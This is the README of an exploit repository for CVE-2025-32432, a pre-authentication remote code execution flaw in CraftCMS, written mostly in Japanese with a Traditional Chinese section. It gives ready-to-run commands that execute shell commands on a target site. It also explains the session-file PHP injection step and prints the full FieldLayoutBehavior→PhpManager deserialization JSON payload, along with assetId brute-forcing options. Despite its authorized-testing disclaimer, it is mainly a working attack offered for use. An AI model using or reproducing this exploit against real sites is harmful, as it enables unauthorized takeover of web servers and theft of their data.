
Pythonエクスプロイト for CVE-2025-32432、CraftCMSのasset-transformエンドポイントにおける事前認証RCE。逆シリアル化ガジェットを介して任意のシェルコマンドを実行するための2パケットチェーンを含む。
CraftCMS 3.x / 4.x / 5.x 向け事前認証リモートコード実行
PoC メンテナー: C.T.Y. (研究目的のみ)
脆弱性発見: Nicolas Bourras – Orange Cyberdefense
追加の PoC 参考: SensePost の研究 & Chirag Artani の公開スクリプト
このリポジトリには、CraftCMS の asset-transform エンドポイントにおける事前認証 RCE である CVE-2025-32432 向けの 2 つの補完的な Python エクスプロイトが含まれています。
| スクリプト | 目的 |
|---|---|
craftcms_rce_php_check.py | 安全性確認 — FnStream ガジェットを使用して 1 回のリクエストを送信し、任意の PHP が実行されるかどうかを確認します (phpinfo() 出力を表示)。低負荷での確認に最適。 |
craftcms_final_payload.py | フルエクスプロイト — 2 パケットチェーン: 最初に FnStream を介して PHP を埋め込み、次に FieldLayoutBehavior → PhpManager ガジェットを利用して 任意のシェルコマンド を実行。 |
この README 全体で説明しているのは 2 つ目のスクリプトです。 1 つ目のスクリプトは完全性と迅速な検証のために含まれています。Chirag Artani 提供 — クレジット を参照。 スクリプトファイル名は明確にするために変更されました。オリジナルの構造とアイデアは Chirag Artani によるものです。
教育および許可されたセキュリティテスト のみを目的としています。 これらのスクリプトを明示的な書面による許可なしにシステムに対して使用することは違法かつ非倫理的です。
assetId ブルートフォース (404 → 302 ヒューリスティック)-c/--cmd)pip install -r requirements.txt でインストール):
requestsurllib3# Clone the repo
git clone https://github.com/CTY-Research-1//CVE-2025-32432-2pkt.git
cd CVE-2025-32432-2pkt
# Install dependencies
pip install -r requirements.txt
python3 craftcms_rce_php_check.py -u https://victim.com
phpinfo() の出力が表示された場合、ターゲットはほぼ確実にエクスプロイト可能です。
python3 craftcms_final_payload.py -u https://victim.com -c "id"
| オプション | ロングフォーム | 説明 | 必須 |
|---|---|---|---|
-u | --url | ターゲットベース URL (末尾スラッシュなし) | ✅ |
-c | --cmd | 実行するシェルコマンド | ✅ |
-a | --asset | 既知の有効な assetId | ❌ |
-s | --scan-max | ブルートフォースの上限 (デフォルト: 300) | ❌ |
/index.php?p=admin/dashboard&a=<?=...?> で任意の PHP を /tmp/sess_<ID> に書き込みます。actions/assets/generate-transform への POST で FieldLayoutBehavior → PhpManager ガジェットを使用すると、CraftCMS がセッションファイルを require() し、コードを実行します。{
"assetId": 11,
"handle": {
"width": 1,
"height": 1,
"as hack": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "yii\\rbac\\PhpManager",
"__construct()": [
{
"itemFile": "/tmp/sess_<SessionID>"
}
]
}
}
}
assetId ブルートフォースが必要)phpinfo 確認スクリプト (craftcms_rce_php_check.py) と初期研究アイデア
スクリプトファイル名は明確にするために変更されました。オリジナルの構造とアイデアは Chirag Artani によるものです。責任についての注意: このコードの使用に起因する法的リスクや損害は、すべて利用者の責任となります。
MIT ライセンス — LICENSE を参照。
| 檔案 | 用途 |
|---|---|
craftcms_rce_php_check.py | PHP 執行可行性檢查:單一請求,使用 FnStream 觸發 phpinfo(),以低影響方式驗證目標是否易受攻擊。此檔案名稱為說明用途而調整,原始概念與程式架構來自 Chirag Artani。 |
craftcms_final_payload.py | 兩包鏈完整利用:先以 FnStream 植入 PHP,再透過 PhpManager 執行任意指令。 |
僅供教學與合法授權測試使用。未經授權操作即屬違法。
python3 craftcms_rce_php_check.py -u https://目標站
python3 craftcms_final_payload.py -u https://目標站 -c "id"
參數與英文版相同。
phpinfo 檢查腳本
此檔案名稱為說明用途而調整,原始概念與程式架構來自 Chirag Artani。使用本程式碼造成之任何法律風險與損失,由使用者自行承擔。
MIT License